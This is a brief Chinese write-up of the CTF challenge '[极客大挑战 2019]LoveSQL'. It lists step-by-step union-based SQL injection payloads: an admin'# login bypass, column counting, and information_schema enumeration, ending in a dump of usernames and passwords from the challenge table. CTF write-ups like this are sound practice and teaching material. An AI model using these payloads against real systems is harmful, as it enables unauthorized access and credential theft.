[极客大挑战 2019]LoveSQL

admin'#登录爆出admin用户密码,MD5解密无果。

常规方法一顿撸。

admin' order by 4#

报错,字段数为3。

-1' union select 1,2,3#

报出显示位。

-1' union select 1,database(),3#

报出数据库名。

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#

报表

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#

报列

-1' union select 1,(select group_concat(username,'~',password) from l0ve1ysq1),3#

报出字段,得到flag

posted @ 2021-07-31 11:22  C10ud  阅读(26)  评论(0编辑  收藏  举报